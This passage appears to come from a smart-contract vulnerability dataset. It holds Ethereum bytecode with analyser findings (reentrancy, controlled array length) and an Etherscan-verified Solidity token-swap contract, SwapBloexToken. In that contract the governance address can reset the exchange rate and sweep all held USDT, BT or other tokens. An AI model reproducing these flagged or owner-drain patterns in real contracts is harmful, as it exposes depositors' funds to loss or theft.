0000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020600160006144126040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508a6040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054600160006144a26040805190810160405280600c81526020017f6d6963726f4d6f64756c657300000000000000000000000000000000000000008152508b6040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561454e5780601f106145235761010080835404028352916020019161454e565b820191906000526020600020905b81548152906001019060200180831161453157829003601f168201915b5050505050925093509350935093509193509193565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156145c057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166316cf8f77866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561465057600080fd5b505af1158015614664573d6000803e3d6000fd5b505050506146ab6040805190810160405280600681526020017f64726f696473000000000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561471157600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080915050919050565b600060606000806000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561480657600080fd5b85600360006148806040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000206001600061490f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508b6040805190810160405280600281526020017f68700000000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020546001600061499f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508c6040805190810160405280600581526020017f626c6f636b0000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000205460016000614a2f6040805190810160405280600581526020017f73686970730000000000000000000000000000000000000000000000000000008152508d6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002054838054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015614adb5780601f10614ab057610100808354040283529160200191614adb565b820191906000526020600020905b815481529060010190602001808311614abe57829003601f168201915b505050505093509450945094509450945091939590929450565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614b5157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad13eb02866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015614be157600080fd5b505af1158015614bf5573d6000803e3d6000fd5b50505050614c3c6040805190810160405280600881526020017f7363616e6e65727300000000000000000000000000000000000000000000000081525086868686866157fc565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515614c9f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663daab88a6876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015614d2f57600080fd5b505af1158015614d43573d6000803e3d6000fd5b505050508460036000614dc16040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000209080519060200190614dea929190615d40565b508360016000614e656040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f73706565640000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508260016000614ef96040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f67697065720000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055508160016000614f8d6040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555080600160006150216040805190810160405280600781526020017f656e67696e6573000000000000000000000000000000000000000000000000008152508a6040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561509f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bae8d888866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561512f57600080fd5b505af1158015615143573d6000803e3d6000fd5b5050505083600360006151c16040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002090805190602001906151ea929190615d40565b5082600160006152656040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600881526020017f6974656d547970650000000000000000000000000000000000000000000000008152506155c5565b600019166000191681526020019081526020016000208190555081600160006152f96040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600981526020017f626f6e75735479706500000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061538d6040805190810160405280600981526020017f6172746566616374730000000000000000000000000000000000000000000000815250896040805190810160405280600581526020017f626f6e75730000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020819055505050505050565b60006153b982615990565b836040516020018083805190602001908083835b6020831015156153f257805182526020820191506020810190506020830392506153cd565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831015156154455780518252602082019150602081019050602083039250615420565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156154af578051825260208201915060208101905060208303925061548a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905092915050565b600082826040516020018083805190602001908083835b60208310151561552057805182526020820191506020810190506020830392506154fb565b6001836020036101000a038019825116818451168082178552505050505050905001828152602001925050506040516020818303038152906040526040518082805190602001908083835b602083101515615590578051825260208201915060208101905060208303925061556b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905092915050565b60008383836040516020018084805190602001908083835b60208310151561560257805182526020820191506020810190506020830392506155dd565b6001836020036101000a03801982511681845116808217855250505050505090500183815260200182805190602001908083835b60208310151561565b5780518252602082019150602081019050602083039250615636565b6001836020036101000a03801982511681845116808217855250505050505090500193505050506040516020818303038152906040526040518082805190602001908083835b6020831015156156c657805182526020820191506020810190506020830392506156a1565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561573857600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156157b857600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b836003600061584189896040805190810160405280600481526020017f6e616d65000000000000000000000000000000000000000000000000000000008152506155c5565b60001916600019168152602001908152602001600020908051906020019061586a929190615d40565b5082600160006158b089896040805190810160405280600581526020017f76616c75650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550816001600061590f89896040805190810160405280600581526020017f70726963650000000000000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550806001600061596e89896040805190810160405280600a81526020017f6475726162696c697479000000000000000000000000000000000000000000008152506155c5565b6000191660001916815260200190815260200160002081905550505050505050565b6060600060608060008573ffffffffffffffffffffffffffffffffffffffff1660010293506040805190810160405280601081526020017f3031323334353637383961626364656600000000000000000000000000000000815250925060336040519080825280601f01601f191660200182016040528015615a215781602001602082028038833980820191505090505b5091507f3000000000000000000000000000000000000000000000000000000000000000826000815181101515615a5457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000826001815181101515615ab457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600090505b6014811015615d345782600485600c8401602081101515615b0657fe5b1a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060020a90047f01000000000000000000000000000000000000000000000000000000000000009004815181101515615b8057fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028260028302600201815181101515615bdf57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f7f01000000000000000000000000000000000000000000000000000000000000000285600c8401602081101515615c4557fe5b1a7f010000000000000000000000000000000000000000000000000000000000000002167f01000000000000000000000000000000000000000000000000000000000000009004815181101515615c9857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028260028302600301815181101515615cf757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050615ae9565b81945050505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10615d8157805160ff1916838001178555615daf565b82800160010185558215615daf579182015b82811115615dae578251825591602001919060010190615d93565b5b509050615dbc9190615dc0565b5090565b615de291905b80821115615dde576000816000905550600101615dc6565b5090565b905600a165627a7a723058202ada33f8b9829ff078816491c1217ecc786b9d52b91e11b3d11b0c9db72018ea0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 818 |
0x269d93c1939bc4e6ef0a3bc102b812f7dab0b93d | /**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-26
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract SwapBloexToken is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
IERC20 public btToken;
IERC20 public usdtToken;
address public governance;
uint8 public isOpenDeposit = 1;
uint8 public isOpenWithdraw = 1;
uint public btRate = 2230; //bt founding value
uint constant public rateBase = 10000;
address constant public usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); //Tether USD (USDT)
address constant public bt = address(0x061C266cAF366e73CeA4bdc9DC22392fb81115F2); //Bloex Token (BT)
constructor () public ERC20Detailed("BloexSwap", "BTSwap", 18) {
btToken = IERC20(bt);
usdtToken = IERC20(usdt);
governance = 0x1360CFA0606E5b057df468D540fA81F75d8146E3;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
//set bt founding value
function setBTRate(uint _btRate) external {
require(msg.sender == governance, "!governance");
btRate = _btRate;
}
function setOpenDeposit(uint8 _isOpenDeposit) external {
require(msg.sender == governance, "!governance");
isOpenDeposit = _isOpenDeposit;
}
function setOpenWithdraw(uint8 _isOpenWithdraw) external {
require(msg.sender == governance, "!governance");
isOpenWithdraw = _isOpenWithdraw;
}
//buy bt with usdt
function deposit(uint _amount) public {
require(isOpenDeposit == 1, "!isOpenDeposit");
// Check usdt balance
require(_amount <= usdtToken.balanceOf(msg.sender), "!sufficient USDT");
//get bt amount
uint bt_amount = _amount.mul(rateBase).div(btRate).mul(1e12); //18 decimals
// Check bt balance
require(bt_amount <= btToken.balanceOf(address(this)), "!sufficient BT");
//deposit usdt
usdtToken.safeTransferFrom(msg.sender, address(this), _amount);
//pay bt
btToken.safeTransfer(msg.sender, bt_amount);
}
//swap bt to usdt
function withdraw(uint _amount) public {
require(isOpenWithdraw == 1, "!isOpenWithdraw");
// Check bt balance
require(_amount <= btToken.balanceOf(msg.sender), "!sufficient BT");
//swap back usdt amount
uint usdt_amount = _amount.mul(btRate).div(rateBase).div(1e12); //6 decimals
// Check usdt balance
require(usdt_amount <= usdtToken.balanceOf(address(this)), "!sufficient USDT");
//withdraw bt
btToken.safeTransferFrom(msg.sender, address(this), _amount);
//pay usdt
usdtToken.safeTransfer(msg.sender, usdt_amount);
}
function depositAll() external {
require(isOpenDeposit == 1, "!isOpenDeposit");
deposit(usdtToken.balanceOf(msg.sender));
}
function withdrawAll() external {
require(isOpenWithdraw == 1, "!isOpenWithdraw");
withdraw(balanceOf(msg.sender));
}
function moveUSDT() public {
require(msg.sender == governance, "!governance");
uint _amount = usdtToken.balanceOf(address(this));
usdtToken.safeTransfer(msg.sender, _amount);
}
function moveBT() public {
require(msg.sender == governance, "!governance");
uint _amount = btToken.balanceOf(address(this));
btToken.safeTransfer(msg.sender, _amount);
}
//bt balanceOf
function balanceOf(address _owner) public view returns (uint256) {
return btToken.balanceOf(_owner);
}
function inCaseTokensGetStuck(address _token, uint _amount) public {
//any erc20
require(msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(governance, _amount);
}
function getPricePerFullShare() public view returns (uint) {
return btRate.mul(1e18).div(rateBase);
}
} | 0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806377c7b8fc1161010f578063ab033ea9116100a2578063c273a5a911610071578063c273a5a9146108e4578063c6d758cb14610915578063dd62ed3e14610963578063de5f6268146109db576101f0565b8063ab033ea914610804578063ac9c195914610848578063b6b55f2514610892578063bf010b21146108c0576101f0565b8063a457c2d7116100de578063a457c2d7146106d0578063a7c98a3e14610736578063a9059cbb14610754578063a98ad46c146107ba576101f0565b806377c7b8fc14610601578063853828b61461061f57806395d89b4114610629578063a1dc14dc146106ac576101f0565b80632f48ab7d11610187578063444b89a711610156578063444b89a7146104e45780635aa6e6751461051557806370a082311461055f57806373a4a56e146105b7576101f0565b80632f48ab7d14610406578063313ce567146104505780633950935114610474578063432df17b146104da576101f0565b806318160ddd116101c357806318160ddd1461030657806323b872dd146103245780632c698e48146103aa5780632e1a7d4d146103d8576101f0565b8063014e95ba146101f5578063054040391461021357806306fdde031461021d578063095ea7b3146102a0575b600080fd5b6101fd6109e5565b6040518082815260200191505060405180910390f35b61021b6109eb565b005b610225610bdc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026557808201518184015260208101905061024a565b50505050905090810190601f1680156102925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7e565b604051808215151515815260200191505060405180910390f35b61030e610c9c565b6040518082815260200191505060405180910390f35b6103906004803603606081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ca6565b604051808215151515815260200191505060405180910390f35b6103d6600480360360208110156103c057600080fd5b8101908080359060200190929190505050610d7f565b005b610404600480360360208110156103ee57600080fd5b8101908080359060200190929190505050610e4c565b005b61040e611256565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61045861126e565b604051808260ff1660ff16815260200191505060405180910390f35b6104c06004803603604081101561048a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611285565b604051808215151515815260200191505060405180910390f35b6104e2611338565b005b610513600480360360208110156104fa57600080fd5b81019080803560ff169060200190929190505050611529565b005b61051d61160a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611630565b6040518082815260200191505060405180910390f35b6105bf611713565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610609611739565b6040518082815260200191505060405180910390f35b610627611771565b005b61063161180c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610671578082015181840152602081019050610656565b50505050905090810190601f16801561069e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106b46118ae565b604051808260ff1660ff16815260200191505060405180910390f35b61071c600480360360408110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c1565b604051808215151515815260200191505060405180910390f35b61073e61198e565b6040518082815260200191505060405180910390f35b6107a06004803603604081101561076a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611994565b604051808215151515815260200191505060405180910390f35b6107c26119b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108466004803603602081101561081a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d8565b005b610850611adf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108be600480360360208110156108a857600080fd5b8101908080359060200190929190505050611af7565b005b6108c8611f01565b604051808260ff1660ff16815260200191505060405180910390f35b610913600480360360208110156108fa57600080fd5b81019080803560ff169060200190929190505050611f14565b005b6109616004803603604081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff5565b005b6109c56004803603604081101561097957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612109565b6040518082815260200191505060405180910390f35b6109e3612190565b005b61271081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b4f57600080fd5b505afa158015610b63573d6000803e3d6000fd5b505050506040513d6020811015610b7957600080fd5b81019080805190602001909291905050509050610bd93382600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166122fc9092919063ffffffff16565b50565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c745780601f10610c4957610100808354040283529160200191610c74565b820191906000526020600020905b815481529060010190602001808311610c5757829003601f168201915b5050505050905090565b6000610c92610c8b6123cd565b84846123d5565b6001905092915050565b6000600254905090565b6000610cb38484846125cc565b610d7484610cbf6123cd565b610d6f85604051806060016040528060288152602001612f8960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d256123cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128829092919063ffffffff16565b6123d5565b600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b6001600760159054906101000a900460ff1660ff1614610ed4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f2169734f70656e5769746864726177000000000000000000000000000000000081525060200191505060405180910390fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f7357600080fd5b505afa158015610f87573d6000803e3d6000fd5b505050506040513d6020811015610f9d57600080fd5b8101908080519060200190929190505050811115611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f2173756666696369656e7420425400000000000000000000000000000000000081525060200191505060405180910390fd5b600061106564e8d4a510006110576127106110496008548761294290919063ffffffff16565b6129c890919063ffffffff16565b6129c890919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561110657600080fd5b505afa15801561111a573d6000803e3d6000fd5b505050506040513d602081101561113057600080fd5b81019080805190602001909291905050508111156111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f2173756666696369656e7420555344540000000000000000000000000000000081525060200191505060405180910390fd5b611205333084600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a12909392919063ffffffff16565b6112523382600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166122fc9092919063ffffffff16565b5050565b73dac17f958d2ee523a2206206994597c13d831ec781565b6000600560009054906101000a900460ff16905090565b600061132e6112926123cd565b8461132985600160006112a36123cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1890919063ffffffff16565b6123d5565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113fb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561149c57600080fd5b505afa1580156114b0573d6000803e3d6000fd5b505050506040513d60208110156114c657600080fd5b810190808051906020019092919050505090506115263382600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166122fc9092919063ffffffff16565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760146101000a81548160ff021916908360ff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116d157600080fd5b505afa1580156116e5573d6000803e3d6000fd5b505050506040513d60208110156116fb57600080fd5b81019080805190602001909291905050509050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061176c61271061175e670de0b6b3a764000060085461294290919063ffffffff16565b6129c890919063ffffffff16565b905090565b6001600760159054906101000a9004